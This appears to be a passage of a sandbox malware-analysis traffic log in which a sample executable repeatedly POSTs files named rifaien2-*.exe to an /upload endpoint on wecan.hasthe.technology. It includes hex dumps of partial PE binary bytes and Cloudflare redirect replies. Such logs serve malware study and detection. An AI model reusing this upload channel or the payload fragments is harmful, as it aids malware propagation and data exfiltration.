Oct 10, 2024 21:02:22.548669100 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:22.548758030 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:22.548799038 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:22.548825026 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:22.548968077 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:22.549053907 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:22.549096107 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:22.553687096 CEST	4944	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:22.856808901 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:22 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:22 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n%2FllOkQx4gyHIHrfDfQjzlBtPGhNoxkei6OAERAtkjLz2I%2FQEV5Ckop0NMuZAjoKbzGg1%2BBV%2FiSOB1AoEO5pQJwnO%2FRhEjUYgE6R2oxuftxK9lFh8vAgzBwC5RWCOCGHaMu54qjfLTS07Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd46bc674255-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50425	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:23.059376001 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------54d6701390f1359e
Oct 10, 2024 21:02:23.506753922 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:23.602243900 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 34 64 36 37 30 31 33 39 30 66 31 33 35 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------54d6701390f1359eContent-Disposition: form-data; name="file[]"; filename="rifaien2-9ZuBld8Y8200Rptx.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:23.610862017 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:23.615925074 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:23.615950108 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:23.615989923 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:23.616013050 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:23.616039991 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:23.616074085 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:23.616132975 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:23.616159916 CEST	632	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:23.925719976 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:23 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:23 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EowzVlbz2h3qI8AOID6esHRPOWIx9ZjGMQ%2BFeCiMVGe8x0bYqJDuqZBIYvNiRiOwhgtit8MVCTpWDZ7xiT6LHoWj%2F2DutNqawj5BsN2VuDEVnflbyRNptK20WOOLbY3XzwHkTMHcOafZAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd4cb9dd426a-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50431	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:24.063369036 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------9e44483e83578f98
Oct 10, 2024 21:02:24.527218103 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:24.527919054 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 65 34 34 34 38 33 65 38 33 35 37 38 66 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------9e44483e83578f98Content-Disposition: form-data; name="file[]"; filename="rifaien2-jjtIOSCKSFCJbo5i.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:24.528114080 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:24.533102036 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:24.533149958 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:24.533176899 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:24.533232927 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:24.533276081 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:24.533348083 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:24.533349037 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:24.538165092 CEST	7416	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:24.843451023 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:24 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:24 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dvTVXHkcqjsKnedoj5FokWSRYS97nu35d0zdkVZsboh8oTYvBPeAW3EctWKJKIQrtRQlE0z0Dy9a%2FR8MtySCw0187Nk58KNqJRjevtT3pua7HNgzx8KtgG1zcgQ80%2FDPE6wF902%2FTFjY8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd53189a42bf-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50436	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:24.982327938 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------e862cfc74b2d837a
Oct 10, 2024 21:02:25.438208103 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:25.438848019 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 38 36 32 63 66 63 37 34 62 32 64 38 33 37 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------e862cfc74b2d837aContent-Disposition: form-data; name="file[]"; filename="rifaien2-kcYq3LQT7lYbdaDe.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:25.439050913 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:25.444489002 CEST	7416	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:25.444489002 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:25.444550037 CEST	7416	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:25.444587946 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:25.444626093 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
